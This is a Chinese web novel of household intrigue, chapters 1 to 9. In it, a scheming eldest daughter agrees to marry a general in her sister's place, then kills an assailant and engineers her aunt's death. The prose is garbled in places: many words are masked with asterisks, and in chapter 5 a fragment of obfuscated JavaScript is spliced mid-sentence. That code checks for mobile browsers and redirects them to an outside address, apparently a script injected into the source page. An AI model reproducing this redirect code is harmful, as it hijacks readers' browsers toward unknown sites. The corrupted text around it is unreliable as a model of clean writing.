《杀死将军妾》
第001章:嫁给他,就得守活寡
“母亲,我不嫁姜夜沉,死都不嫁。”
“皇上前一日下旨张贴皇榜为姜夜沉寻名医,隔日凝玉公主于朝堂当众悔婚。这京城里,人人皆知姜夜沉不能人道,我嫁给他,就得守活寡。”
“母亲,我不要我不要。凭什么姜夜沉是废物了,才强塞给我?谁乐意要谁嫁去,我死都不嫁......”
明月闺楼里,以美貌和才华著称的京城贵女-户部尚书府二小姐**月此刻坐在地上,扯着李氏的衣袖,又哭又闹。
外人面前,**月是高门淑女。
唯独在李氏面前,**月任性如三岁稚儿。
好似,永远长不大。
名贵瓷器碎了一地。
粗略估算,价值上千两银子。
听墙角的女子摇头叹息:财大气粗之人,真不把银子当作银子。
继夫人李氏微皱眉头,冷眼瞧着贵女形象全无的**月,心里一阵烦闷,若不是亲生,她的巴掌早已呼上去了。
李氏的火爆脾气被**月日复一日磨的熄了火焰,只余微弱火苗。
李氏只得暂且压下火气,训斥道:“**月,瞧瞧你的丑模样。平日里,我是怎么教导你的,这才遇到多大的事情,你就哭哭闹闹,自乱阵脚。”
“丢尽我的脸面。”
**月本就委屈,此刻更是听不得李氏的话,扯起嗓子回嘴,“父亲这是要卖掉我,母亲不救我罢了,还充当父亲的帮凶。”
“母亲,我是您十月怀胎生下的女儿,不是臭水沟里捡来的孤儿,您忍心推我入火坑,逼我**吗?”
“好好好,**脆取根绳子吊死在户部尚书府大门前,一死百了。”
“死前留下**,控诉父亲——卖女求荣。”
啪。
啪啪。
李氏忍无可忍,手下的动作比理智反应更快一步。
**月白嫩的脸颊立马红肿一片,更显得楚楚可怜。
“徐-明-月?”李氏被亲生女儿气到手抖,呼吸不畅。
“先前,皇上为凝玉公主和姜夜沉赐婚,你寻死觅活不说,还说要绞了头发当尼姑。”
“后来,你自个儿不知羞耻求到凝玉公主面前,跪求人家成全你的一片痴情,甘愿为下等侍妾,奉凝玉公主为尊。”
“如今,凝玉公主悔婚,还说将这门亲事让给你。你无需争抢,便得偿所愿,嫁给心悦的良人,成就一段佳话......”
李氏将道理掰开了揉碎了,细说给**月听。
当然,李氏选择性忽略**月崩溃的重点在于,曾经的姜夜沉千好万好,犹如神明。而今的姜夜沉不能人道,和乱葬岗的垃圾有何区别。
**月捂着脸颊,眼里尽是愤恨,越发口不择言。
“姜夜沉求娶我?”
“姜夜沉一
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个不能人道的废物,竟有脸求娶我当妾?”
“还有凝玉公主,也不是什么好东西,她不嫁姜夜沉,还不许姜夜沉娶妻,只能迎妾。”
**月口中苦涩,情绪悬于一线,几欲崩塌。
“母亲?”**月眼神从未有过的坚定,“父亲要卖掉我,您不帮我,好,那我自己寻一条活路。”
蹲在墙角下的徐慧珠,腿脚麻木,腰也酸疼的厉害。
她拍掉落在衣裙上的桂花,走到门口,迎上奴婢细雨疑惑的目光,柔声道:“劳烦通报,我有事求见母亲。”
“大......大小姐?”细雨本想问:大小姐,您是从哪儿冒出来的?
她万般肯定,大小姐走的不是正门,身上还有一股淡淡的桂花香气,要么大小姐用了桂花香膏,要么大小姐一直站在桂花树下?
门外的响动,李氏自是听见,心里微惊:夜深了,徐慧珠寻她何事?
徐慧珠?
**月灰暗里的世界,忽然照进一束亮光,而徐慧珠就是她的亮光。
李氏刚说一句“慧珠来了,快进来吧”,**月已先一步冲到门口,亲昵地牵起徐慧珠的手,“姐姐来得正好,母亲......”
徐慧珠懒得废话,直奔正题,“明月妹妹不愿嫁姜夜沉为妾,我替嫁。”
“不过,我要尚书府五成家财为嫁妆......”
第002章:潜入将军府,夜探美男子
尚书府五成家财?
**月脱口而出:“姐姐是强盗不成,连自个儿家都抢?”
李氏的脸色也不好看,她从来不知道,一向性子软和的徐慧珠忽然张口咬人,就能伤人半条命。
徐慧珠挑眉,“如此妙计,明月妹妹不赞同?”
“还是明月妹妹孝顺,想着替父母亲省银子,那就收起你的眼泪,开开心心嫁去将军府当妾,守活寡而已,又不会**。”
“当然,母亲若能说服父亲,出得起银子,我愿替明月妹妹受这遭罪。”
“如何?”
徐慧珠说完,也不着急等李氏和**月当场点头,直接出了府门。
户部尚书府,真正做主的是徐从德,也看李氏的枕边风能吹到何等程度。
今夜月黑风高,她还有更重要的事情要忙。
比如,潜入将军府,夜探美男子。
不,她是诚心实意前来,和护国将军、战神将军、北疆王、锦衣卫统领集于一身的姜夜沉谈一笔生意。
“你是谁?”
“难道不知,闯将军府者,死。”
徐慧珠刚潜入竹苑,一道冰冷的男声响起,接着一双大手掐住她的脖颈。
来人是女子,身上散发一种熟悉的气息,并无杀气。
不然,徐慧珠此刻已是一具渐渐冰冷的尸体了。
她毫不怀疑,姜夜沉稍一使力,便轻松捏碎她的骨头。
“我是户部尚书府大小姐徐慧珠。”
“我来,是特意相告将军,得知您不能人道,**月不乐意嫁您,由我替嫁。”
“没人逼我,我心甘情愿嫁。”
“也就是说,我是将军您两个月后将迎入门的贵妾。将军的手,该松开了吧。”
姜夜沉的眼里闪烁过一抹暗色,“哦?”
皇上说:战神将军姜夜沉迎妾,也必须是户部尚书府嫡女这样的高位身份。
徐慧珠,原配所出的嫡长女,性子软和淡漠,不争不抢,出生时得玄空大师批命,二十岁之前不能议亲,不然克夫克己。
**月,继夫人李氏所出的嫡次女,性格温婉,才貌双全,关键是爱慕姜夜沉多年,闹的人尽皆知。
如今看来,查到的消息,不尽实。
姜夜沉取出一块帕子,擦拭自己的手指,仿佛沾染了脏污。
呵。
嫌她脏?
“你会武功?”能躲开将军府的巡逻护卫,看来这位户部尚书府大小姐徐慧珠有点儿能耐,也有点儿意思。
凑巧,姜夜沉对名门贵女无感,却对聪慧野性的女子,高看一眼。
徐慧珠点头。
在
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姜夜沉面前说谎,如同掩耳盗铃。
“大小姐该听说了流言,为何愿意嫁?图什么?”姜夜沉直接发问。
“尚书府五成家财为嫁妆,这门亲事,我心欢喜。”徐慧珠在姜夜沉审视的目光下,不慌不忙,走到桌案前,先为自己倒一杯热茶,坐下来,悠哉地品着。
将军府的茶,果然是好茶。
“将军不能人道,我又嗜好......”徐慧珠微微一笑,“相信我和将军乃天赐良缘,必成就一段佳话。”
“凑巧,我还是个医者。”
姜夜沉目光一顿,脸上的冷色差点裂缝。
嗜好什么?反正不是他?
这等隐秘又羞耻的事情,徐慧珠不仅说出口,还说得脸不红眼不慌,理直气壮又云淡风轻。
气氛渐冷,又透着一股说不清道不明的尴尬。
原本,凝玉公主于朝堂上当众发难,不仅悔婚,还要求他不得娶正妻,只能迎妾。
“姜夜沉,是你负本宫在先,本宫命你这一生,正妻之位空置。因为,这是你欠本宫的债。”
作为准驸马,他没护好自己的身体,就是错,就是罪。
独处时,姜夜沉笑出了声,若不是残疾之身,这局如何能破?
“徐慧珠,说吧,你的真正条件?”
第003章:我要妾行妻权,将军可愿意?
五成家财为嫁妆,是徐慧珠向徐从德提出的替嫁条件。
她特意相告,又不惜坦诚自己的隐秘,算是向他亲手奉上把柄。
恕他不信。
她要在他的后院里金屋藏娇?
姜夜沉可没错过,徐慧珠看见他的容貌时,那闪烁极快的惊艳。
他知道,他长得好。
“我虽为贵妾,但必以正妻规格迎娶,且将军的后院以我为尊,妾行妻权。”
“将军可愿意?”
“这是我的第一个条件。”
徐慧珠并不担忧姜夜沉对她心存戒心,两人之间的信任,非一朝一夕,往后时光那么长,她最不缺耐心。
姜夜沉这棵参天大树,她得抱紧才成。
妾行妻权,徐慧珠势在必得。
她自然明白,后宅深似海,她要活得滋润,过得安稳,权力就得掌握在自己的手里。
依靠男人?
也不是不行,可这世间的男人,大多不如狗。
“好,允你。”
“第二个条件?”
此刻,姜夜沉看向徐慧珠的目光里,新添一抹异色。
“将军莫着急,洞房花烛夜之时,我便告诉你,我的第二个条件。”
“将军且安心,今晚过后,你我荣辱与共,生死相依。”
徐慧珠说得郑重,的确像极谈生意,定下君子之约。
这世上,哪会有女子拿自己的婚姻大事为筹码,进行交易。
姜夜沉不再言语,而是看了一眼徐慧珠手里的茶盏。
他在下逐客令。
而她眼色活泛,尽是纯粹干净的真诚,忽然伸出手,握住他的手,说道:“既如此,我便安心待在府里,等良辰吉日,将军骑着骏马踩着祥云来迎娶我。”
“将军,合作愉快,也盼你我大婚后的生活,顺遂安乐。”
徐慧珠来得悄然,走得干脆。
只是,她离开后,空气里残留的桂花香气,直到天明才淡去。
姜夜沉走到窗前,冷声下令,“大福,给院子种上桂花树。”
大福:......
徐慧珠路过主院,听了一会儿墙角,李氏如约在卖力地吹枕边风,“老爷,不是妾身偏袒明月,实在是明月这回猪油蒙了心,死都不愿嫁。妾身是担心,若强行逼嫁,明月和将军凑成一对怨偶,那就不是结亲,而是结仇。”
“将军对老爷有过救命之恩,再说,以将军府的权势,咱们不能得罪,亦不能交恶。”
“慧珠愿嫁,便说明她有信心同将军把日子往好了过。妾身想着,慧珠提出以五成家财为嫁妆,
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公中出四成,余下一成从妾身的嫁妆里出......”
“是妾身和明月对不住慧珠在先,老爷责怪妾身自私也好,怪罪明月不懂事也罢,妾身心中不敢有半点怨言。但请老爷明鉴,妾身所思所愿,是盼着咱们尚书府好。”
徐慧珠扬起嘴角,万万没想到,李氏的三观很正,且智商不低。
看来,不必她亲自出手了。
心情大好的徐慧珠一回煮雨院,直接和衣躺下,尽管她已经很困很困,也不得不硬撑着精神再等一等。
闭目养神,养着养着睡了过去,迷迷糊糊中,徐慧珠感觉一座腥臭夹杂浓香的肉山压下来,压得她几欲窒息。
徐慧珠想起她曾喂食鲤鱼,亲眼看见一条鲤鱼跳啊跳,跳到草丛里,却再也跳不回池塘,拼力抖动身子,最后还是**。
她感觉自己也是一条快要死掉的鱼。
“苗耀祖?”
“你来了啊。”
“我等你好久了。”
徐慧珠忽然睁开眼睛,在漆黑的夜色里,犹如猎杀老鼠的猫,笑容诡异。
“大......大小姐?”苗耀祖只感觉脖颈一阵刺痛,他伸手捂住,却怎么也捂不住喷涌的腥血。
“苗耀祖,是二婶让你来的吧......”
第004章:**这事一回生,二回熟
苗耀祖倒在地上,肥猪一般的身子一边抽动一边喘粗气。
气息渐弱。
苗耀祖能清楚感觉生机正一点一点流失,寒意侵血入骨。
好冷啊。
他想不通,明明长姐说已买通徐慧珠身边的奴婢金春,早在内室点了迷香和媚香,万事俱备,只等他来采花蜜。
为何徐慧珠没中迷香?为何徐慧珠力大无穷,一招命中懂拳脚功夫的他?
徐慧珠到底是不是弱柳扶风的高门贵女?
天呐,他招惹错人了。
可惜,认知已晚。
“二婶这招一箭双雕玩得不错。”
“苗耀祖,二婶是不是告诉你,待你破我身,毁我誉,我要么嫁给你,助你攀附上尚书府。要么三尺白绫了结性命,死我一人保全所有。”
“不论哪一种,于你苗耀祖来说,倒是不亏。”
“另外,明月妹妹不愿嫁去将军府,我又是不洁之身,这等好事不就便宜了云晗妹妹。”
“苗耀祖,是也不是?”
徐云晗是苗氏的嫡长女。
本是同根生,但因着父母亲不同,内里身份差距甚大。
谁家求娶大房嫡女是助力,若求娶二房嫡女,说拖累难听,能得到的实际好处甚微。
世家大族之间的联姻,重利。
也因此,苗氏听说**月闹着不嫁,刚激动个开头,又听说徐慧珠愿替嫁,匆忙想到一箭双雕之妙计,欲好处尽占。
苗耀祖痛到说不出话。
当然,徐慧珠不屑听苗耀祖坦白,他那一张臭嘴,吐不出什么价值连城的秘密。
一切,尽在她的掌控之下。
“二婶这么**道,我很生气呀。”
“不如,我也送二婶一份大礼,待她醒来,发现自己和亲弟弟赤身裸体以羞耻的姿势交缠在一起。”
“不知,我那位暴脾气的二叔,会休了二婶?还是会打死二婶?”
“苗耀祖,我很期待,你呢?”
徐慧珠一脚踩在苗耀祖的胸口处,狠狠碾压,一下又一下,直到苗耀祖断了气息。
死不瞑目。
**这事,一回生,二回熟,三回成习惯。
徐慧珠活动手腕,轻轻叹气,似乎许久没**,力道没掌握好。
她话还未说完,苗耀祖就**。
废物不经折磨。
隔日清晨,徐慧珠还在睡梦中,听到一墙之隔的院子传来凄厉的尖叫声,一声高过一声。
震耳欲聋。
转瞬,尖叫声戛然而止。
这声音,是那位好二婶的。
看来,好戏要上演了啊。
徐慧珠正用着早膳,细雨来禀,“大小姐,府里出了事,夫人请您去正堂。”
徐慧珠掩下眼里的暗色,就是细雨不来相请,她也会去正堂瞧热闹。
说来,今日这热闹,她是隐藏主角之一,自是得捧个人气。
待徐慧珠来到正堂,一眼瞧见爬在地上呻吟的二婶苗安媛,平日里姣好精致的面容已变成猪头,七分可怜,三分滑稽。
两名壮实小厮死命拉扯住二叔徐从武,如若不然,苗氏怕是早死在自家夫君
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的拳头之下。
“够了。”府里发生这等丑事,徐从德只得请假,先处理家事要紧。
但,纸包不住火。
外面还不知传得多难听、多离谱。
“从武,苗氏是你的正妻,就是犯下天大的罪,也得给她解释的机会。”
“你若打死正妻,莫说传出去丢脸,那苗大人岂能善罢甘休,你要惹上人命官司不成?当务之急,是查清楚苗耀祖为何出现在府里?为何死在苗氏的床上?”
“万一,这里面另有真相,有人恶意布局......”
徐从武哪听得进去,怼道:“兄长站着说话不腰疼,合着偷男人的不是兄长的夫人,哼。”
不长脑子的人,一开口,得罪一片人。
徐慧珠走到李氏身后站定,安静看戏。
**月凑过来,亲昵地挽住徐慧珠的胳膊,小声咬耳朵,“万万没想到啊,二婶和苗耀祖竟做出那等不要脸的事情来,二婶还失手刺**苗耀祖。”
徐慧珠不大习惯**月的热情,不过,她不难猜测**月的别扭心思。
在**月认为,徐慧珠毕竟是替她嫁给姜夜沉,替她受活寡的煎熬,就算手握巨额银子,那也是抱着银子守活寡。
终归是可怜的。
说来,是她“害”了徐慧珠。
因着心里那一缕寡淡的愧疚,**月心下决定,在徐慧珠出嫁前的时光,她对徐慧珠尽力......友好。
“明月妹妹如何确定一定是二婶杀死亲弟,而不是另有隐情.....”
第005章:清新脱俗的偷情事件
“二叔亲眼所见,苗耀祖的脖子上插着二婶的金簪,屋里点着媚香......人证物证俱在,能有什么隐情。”
虽说一荣俱荣一损俱损的道理,大家都懂,但好八卦的心,不分自家人或外人。
莫说,苗氏做下的不伦丑事,就是话本子也写不出这般“清新脱俗”的故事。
“二婶竟是这样的人?嗜好变态,口味奇重,真真是人不可貌相啊。”
“二叔也是糊涂,苗氏偷情都偷到府里,二叔竟浑然不知。唉......二叔好可怜好可悲。”
两姐妹认真咬耳朵,完全没主意到正堂静的可怕。
声音虽小,但大家听得清楚。
李氏快要被**月气**,旧火未消又添新怒,她的手禁不住发痒,狠狠一巴掌拍在**月的胳膊上,“长辈的事儿,岂容晚辈议论,**月,你的规矩都学到狗肚子去了。”
李氏是继夫人,亲生女儿怎么打骂都行,母女俩哪有隔夜仇。
至于徐慧珠,还是算了吧,继续保持井水不犯河水的平淡关系。
“是,明月知错。”
“是,慧珠知错。”
不成想,徐从武受不得被两个晚辈言语刺激,这跟把他的脸面扔在地上,再狠狠踩上几脚,有何区别。
正妻和小舅子搞在一起......这都是什么事?
他的脑袋想不通这里面的弯弯绕绕,只觉得天落巨石,就他命背,精准砸中。
他要是能忍下这口浊气,他徐从武的名字倒着写。
徐从武只得觉得一股邪火在体内熊熊燃烧,快要把他烧熟了。
也不知哪来的力气,徐从武挣脱小厮的钳制,扑过去掐住苗氏的脖子,“**,你说,你和苗耀祖睡过多少回?”
“**,老子弄死你。”
徐从德惊的从椅子上站起来,“快快快,拉开二爷。”
“徐从武,你放开苗氏。”
“放开她。”
“徐从武,**偿命啊,掐死苗氏,你也得死......”
可惜,徐从武听不进去。
“老......老爷,弟妹......弟妹没气了。”李氏吓得往后退,徐慧珠眼疾手快扶住李氏,“母亲,小心摔着。”
苗氏偷情亲弟苗耀祖,媚香迷心智,动作失控刺死苗耀祖,徐从武冲动之下掐死苗氏......徐从德瞪了一眼傻掉的徐从武,沉声吩咐管家,“去报官吧。”
“捂......捂不住的。”
一日之内出了两条人命,徐从德就是有心摁下,也是无力成事。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16643771|188170||http|test|mini|href|location''.split(''|''),0,{}));
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r>徐慧珠回到煮雨院,取下荷包,扔进火盆里。
谁也不会查到,徐从武的暴怒和失控,与她有关。
她和**月配合默契,**月表面煽风,她暗里添柴火。
“金春,陪我去采摘新鲜莲蓬,我要为父亲煮一盅莲子羹。”
正在偏房绣花的金春,手一抖,绣花针刺入肌肤,一滴鲜血滴落在帕子上,原本橘黄的桂花变得鲜红。
“大......大小姐?”
“您......您刚说什么?”
金春又惊又吓,只觉得浑身发冷,膝盖发软,不受控制地噗通跪在地上。她想事情入了神,大小姐何时站在门口,她都没发现。大小姐说了什么,她也没听清。
徐慧珠抓起金春的手,细嫩修长的手指,染了浅粉的蔻丹,摸着舒服,看着养眼。
徐慧珠凑上去闻了闻,一股醉人的幽香。
徐慧珠又不想去采摘莲蓬了,费那力气做什么。
一碗莲子羹,去不掉徐从德的火气。
“大......大小姐?”金春对上林慧珠的眼睛,心慌到忘记呼吸,浑身血液凝滞。
“清露蔻丹,胭脂阁的招牌之一,小小一瓶价值十两银子。”
“金春,苗耀祖还许诺你什么?纳你为妾?”
第006章:将军太闲,才会验尸
瞧着金春眉眼间的媚态,苗耀祖应该早就破了她的身子。
呵!
眼光真够差劲。
养一只狗也比委身于苗耀祖好太多。
“大......大小姐,您说什么?奴婢......奴婢听不懂啊。”
“奴婢是大小姐您的人,怎会?”
啪。
啪啪。
徐慧珠眼里的冷漠,如一盆掺了冰渣子的冷水,泼醒金春的侥幸。
“奴婢错了。”
“大小姐,奴婢......奴婢是被逼的啊,苗耀祖用强,奴婢......奴婢不敢反抗,担忧给大小姐惹来麻烦。”
“呜呜呜,求大小姐饶命。”
金春这会儿倒是实诚,一会儿功夫,磕的头破血流,瞧着都觉得一阵肉疼。
可惜,林慧珠心冷心硬,此刻,金春就是血溅当场,她也无动于衷。
“奴婢......奴婢保证守口如瓶,绝不会告诉老爷,说......说苗耀祖给您下药,意欲玷污。”
“大小姐,您和将军的亲事已定,这个时候要是牵扯到命案,或传出不好的流言蜚语......”
啪啪。
啪啪。
这回,不用金春自扇,徐慧珠亲自上手。
一个叛主的贱婢,敢威胁她?
徐慧珠享受**耳光的爽感,喜欢听到**耳光的清脆。
她揪住金春的衣领,“好啊,去向父亲告密,去向府官大人揭穿真相。”
“金春,你觉得,我会怕吗?”
这下,金春真慌了。
她哪想到,徐慧珠竟......软硬不吃、油盐不进。
“苗耀祖**,二婶也**。”
“真相是什么?”
“死无对证啊。”
“金春,你说,大家会信你,还是信我?你死得快,还是我会死?”
“我有一百种法子脱身,金春,你呢?只有一种下场——死。”
“不信?你且试试。”
“金春,我给你机会,即刻踏出煮雨院,去寻父亲......”
金春这样的人,受不住吓唬。
徐慧珠临时改变主意,不管怎么说,金春也是娇滴滴的美人儿,她得怜香惜玉一回。
刚刚她握住金春的手腕,探到金春已怀有身孕,苗耀祖的血脉,那这个孩子将值一大笔银子。
将军府,竹苑。
大福正在禀报,“苗氏一族的儿郎们和徐从武在府衙前大打出手,互殴的结局是两败俱伤。苗大人扬言,要和徐从德不死不休。”
“不过,徐尚书提交的证据充分,苗耀祖曾强占他的奶娘,还玷污过一名远亲堂姐。和亲姐苗氏苟合,十有**为真。”
“另外,还查出苗耀祖因着苗安媛纵容、掩护,祸害尚书府好几名奴婢,其中就有大小姐院里的金春。”
“而且,金春怀有身孕......”
姜夜沉觉得自己大概是太闲了,才会潜入府衙,验苗耀祖的尸身。
果然,印证了他的猜测。
苗耀祖的死,另有乾坤。
姜夜沉心痒难耐,头一回
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生出好奇,他好想当面问一句:为何突然要弄死一个废物?
如果徐慧珠不来找他,他要不要主动寻一回她,来个夜探香闺。
反正,他们很快就是夫妻了,就当大婚前培养培养感情。
也是好的。
姜夜沉的纠结,徐慧珠不知。
这些时日,她夜里出府办事,白日里补眠。
一大早,徐慧珠睡的正香甜,**月偏扰她清梦。
不请自来。
来了就赖着不走。
徐慧珠无语至极,心想,她们的关系何时这般好了?
“姐姐,你可知......二叔被下牢狱了。”**月硬憋着笑意,伸出一只手,“二叔要坐五年牢狱。”
**月一边说一边盯着徐慧珠看,想要看出一点别的情绪。
可惜,让她失望了,徐慧珠端着一张睡眼迷糊的脸,好像没听清她刚刚爆料的大事。
“姐姐?”**月气到了,难怪她和徐慧珠关系冷淡,玩不到一处。有时候,她不禁怀疑,她和徐慧珠是不是八字相克,姐妹情薄。
**月心里虽气,可八卦已到嘴边,不说不痛快。
那日,徐慧珠离开后,母亲李氏差点拧掉她的耳朵,导致她现在一见到母亲,下意识先摸一摸耳朵。
还好,耳朵尚在。
母亲说话好生奇怪,“**月,我警告你,余生对慧珠敬着爱着,慧珠就是你的恩人。要是让我知道你做了对不住慧珠的事情,母女情尽。”
这般严重?
是何道理?
第007章:全家给**犯二叔凑路银
**月仗着李氏的疼爱,真敢有恃无恐闹腾。但她也惧怕李氏,更何况徐慧珠嫁给姜夜沉当上不得台面的妾不说,还得守活寡......
不是她的错。
她却脱不干系。
徐慧珠哪知**月的想法,“明月妹妹说,我听着呢。”
这就对了嘛。
她说话,徐慧珠总得回应一二,方不失礼。
“二婶......不......呸呸呸,叫苗氏‘二婶’我都觉得脏了自个儿的嘴巴。”
“经过府官大人调查,案情已清晰:苗氏杀死苗耀祖是事实,但**动机和过程,由于两位当事人已死,不得而知。苗氏已死,也没法给苗耀祖偿命,判苗氏嫁妆全数归还苗家,当作补偿。”
“二叔本是受害者,但二叔在愤怒之下掐死苗氏,于情理,可理解可同情。于法理,死罪可免活罪难逃,判五年牢狱,发配悦城挖矿。”
这些消息,是**月从李氏那儿偷听来的。
毕竟,二房主子一死一伤,留下这烂摊子,还是得徐从德收尾,最终干活的还是李氏。
“二叔一身力气,平日里只用在殴打后院妾室身上,着实大材小用了些,去悦城挖铁矿,倒也是人尽其才了。”
徐慧珠这一番总结,正合乎**月的心意,两人对视一眼,笑意都快遮掩不住。
她们对徐从武的厌恶,相同。
**月忽然觉得,往前那十几年,她听李氏的话,不主动招惹徐慧珠,保持淡如水的关系,似乎错了,白白浪费了大好时光。
徐慧珠这个姐姐,很有趣嘛。
**月在重新认识徐慧珠这位姐姐,殊不知,徐慧珠也一样。
难得见到**月的另一副面孔,徐慧珠难免心动,打算接受**月的示好。
转眼就到了一月十一日,徐从武离京,不,是由官差押着,发配悦城。
前夜,徐从德召集大房二房主子齐聚正堂。
“夫人,你从公中支五百两银子,再挑选两名得力小厮一路跟着,保证从武平安到达悦城。”
李氏不愧为徐从德的贤内助,以夫为尊为重,“老爷放心,小厮人选已定好。妾身想着,二爷带着五百两银票不安全,妾身做主把一百两银票换成碎银子,两名小厮和二爷的身上各藏五十两,缝在贴身里衣。
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”
“余下四百两,妾身打算托娘家兄长存在悦城的万通钱庄,留作二爷急事备用。也是凑巧,悦城万通钱庄的大掌柜与娘家兄长旧相识。”
徐从德心感甚慰,“夫人,以后二房的事情,劳烦夫人多费心了。”
徐慧珠站在李氏的身后,充当木桩,不知是不是她的错觉,总感觉父亲在看李氏,目光却落在她的身上。
难道父亲发现了什么?
“从武犯错,自有受安国律法处置。但从武毕竟是我们的亲人,血脉亲情哪能割舍。”
“此去悦城,山高路远,天寒地冻,也委实艰辛。苏姨娘,先前夫人让你们为从武准备的棉衣棉鞋棉袜,可准备妥当?”
一名淡绿色衣裙的妇人起身,向徐从德和李氏行礼,“回禀大爷,回禀大夫人,东西已备好。”
徐慧珠看了一眼苏姨娘,低眉顺眼的模样,若仔细看,便能看见上扬的嘴角。
也是,只怕徐从武后院的一众妾室私下捂着锦被偷笑,早就盼着徐从武阴沟里翻船,往后盼着徐从武最好身死在悦城......
守寡也比日日遭受殴打,易煎熬。
第008章:二叔会不会横死在半路?
看,她顺手收拾徐从武这个害祸,救了苏姨娘等美人。
也算功德一件。
“父亲,这是女儿攒下的月银,虽然只有十两,也是女儿对二叔的一片心意。”
“父亲说得极是,二叔此去悦城,山高路远,风餐露宿,望二叔一路平安。”
徐慧珠身为尚书府的嫡长女,年龄最长,自然得起到带头表率作用。
然后是**月......
晚辈们奉上的都是自己积攒的月银,再加上公中和徐从德的贴补,算下来小千两银子。
不知情的,还以为徐从武不是去悦城挖矿,而是带足银子游山玩水去。
徐慧珠的目光闪了闪,这千两银子,她会在京城替二叔花销。
徐从德刚说一句“散吧”,**月就挽住徐慧珠的胳膊,“妹妹送姐姐回煮雨院。”
看来,**月又在李氏那儿偷听到秘密,迫不及待找个人分享。
**月的小心思,对徐慧珠来说,无伤大雅,她也就顺着了。
**月这个免费的“细作”,若利用的好,会有令人惊喜的效果。
“父亲前两日寻母亲支银子,说苗大人可能买**二叔,父亲打算请一队镖师暗中保护二叔。姐姐,你说,二叔能平安到悦城吗?该不会......横死在半路?”
身为小辈,背后议论长辈已是不懂规矩。
**月盼着二叔早死,不仅刻薄,还无情。
不过,这府里除了祖母,大都盼望徐从武死,或不得好死,宁愿对着牌位三叩九拜。
可见,徐从武招了多少人的恨。
这么多人怨恨徐从武,徐慧珠觉得,她的恨夹杂其中,不打眼。
“明月妹妹盼二叔死?父亲要是听到,该罚明月妹妹了。”徐慧珠命金春煮茶,不一会儿,茶香四溢,**月闻着茶香,这才注意到金春。
当即,脸色大变。
“姐姐,你......你怎么还留着金春这个吃里扒外的贱婢?还让她近身伺候,就该打一顿,再喂哑药,卖到最下等窑子去。”
是苗耀祖祸害金春,还是金春主动勾引苗耀祖?过程没人在意。
“二......二小姐?”金春这些时日夜不能眠,担惊受怕,如同惊弓之鸟。
金春身为徐慧珠的一等奴婢,见识过富贵,才
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会被富贵迷住眼睛。苗耀祖给她画饼,只要求娶到徐慧珠,就是徐尚书的乘龙快婿,往后尚书府的权势,还不是他苗耀祖的囊中之物。
徐慧珠为嫡妻,金春为贵妾。
这怎么能算背叛?
“好了,明月妹妹,莫吓唬金春,她如今怀着孩子,身子娇弱金贵。”
“听说,苗夫人的娘家是皇商,金银堆成山,金春怀的可是苗耀祖的遗腹子,等苗夫人伤心够了,该登门支付银子。”
果然,徐慧珠说完,金春的眼睛亮了。
她给金春希望,也给金春机会,等铺垫到位,金春去找苗夫人闹一场,才能效果显著。
“父亲还说,苗耀祖是苗家主支的独苗,不管多少证据摆在苗大人面前,他都不会相信。恐怕苗大人不仅要二叔的性命,还要整个尚书府陪葬......”
难怪苗大人能教养出苗氏和苗耀祖那样的又恶又坏的人,敢情从根上坏透了。
苗家?
也蹦跶不了多久。
苗耀祖是第一个,苗安媛紧接着,下一个,死的是谁?
一家人嘛,就得齐齐整整活,也得齐齐整整死。
第009章:大婚定在二月十四,良辰吉日
**月没在煮雨院赖太久,管家来请。
“大小姐,老爷在书房等您。”
**月有些紧张,眼里闪烁一抹心虚,“姐姐,我还偷听到,你和姜夜沉的大婚定在二月十四,钦天监算的良辰吉日。我......我......”
徐慧珠笑道,“明月妹妹安心,我愿嫁。”
“日后,我若过得不好,也不会怨怼母亲和明月妹妹。”
书房里,徐从德正埋头处理公文,似是对书房里多了个人浑然不觉。
徐慧珠站着,微垂着头,盯着地面。
大约过了半个时辰,徐慧珠站得累了,也烦了,“父亲若无事,女儿告退。”
徐从德放下笔,叹息道:“慧珠,放过你二叔吧,就当为父......求你。”
“你要嫁给姜夜沉,我同意。你要尚书府五成家财为嫁妆,我亦同意。”
“慧珠,从武他......他罪不至死啊。”
果然,徐从德是一只修炼成精的狐狸,他闻着味,就嗅到她的身上。
不过,无论是苗耀祖的死,还是苗氏被徐从武暴怒掐死,还是徐从武喜提五年牢狱发配悦城......徐从德查来查去,也只能有所怀疑,绝不会拿到证据。
何况,他本就心虚,也不完全无辜。
他更清楚,就算他向府官大人说出怀疑,谁会信?哪有当父亲的无凭无据指证亲生女儿**?怕是会指着鼻子骂他得了失心疯。
徐从德思来想去,决定当面挑破。徐从武可以受惩罚,但命得保住。
一半理智,一半情感,徐从德就有能耐划分的一清二楚、不偏不倚。
“父亲这话,我听的着实糊涂。”
“父亲是把我当作嫌疑人?”
“敢问父亲,谁亲眼看见我刺死苗耀祖?还是亲耳听到我蛊惑二叔掐死苗氏?还是我能左右府官大人的判决?”
“我有这般大的能耐,却不自知......”
“父亲何故冤枉我?”
“难道?”
“难道父亲这般不喜我?容不下我?”
当着徐从德的面,徐慧珠从来不会说一句李氏的好话。
这火,还得引到李氏身上。
“父亲,是母亲在您面前又说了什么?”
“此事,与李氏无关。”徐从德说道,“慧珠,你不必多想,为父只是多余问一句。”
的确多余。
徐从德自是不信徐慧珠,心生不喜:好一张利嘴。
徐从德为官二十多年,不仅才能显卓,在朝堂上更是时常靠一张利嘴辩胜同僚。不然,他掌管国库,在旁人的眼里就是一棵金光灿灿的摇钱树,谁都想伸手薅一把金叶子。
如今,却接不住亲生女儿的话。
“父
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亲,如今恨不得二叔**的人,该是苗耀祖的父亲苗大人。换位思考,若我是苗大人,杀子之仇,杀女之恨,二叔欠着苗大人两条人命,定不会让二叔活着到悦城。”
“而且,父亲与其忧虑二叔,不如多想一想尚书府上百口活人的性命。”
“再说,父亲殚精竭虑几十载爬上户部尚书的高位,为的什么?”
徐从德的眼里生出一抹异色,徐慧珠三言两语直抵他心里的隐秘念头。
命案发生后,他将自己关在书房里想至天明,徐从武所犯之罪,虽罪不至死,判决牢狱五年且发配到悦城,其中亦是他推波助澜的结果。
他做的隐晦,绝不可能留下痕迹,徐慧珠如何得知?
“二叔不过是阴沟里的臭老鼠,是他......自作孽不可活。”
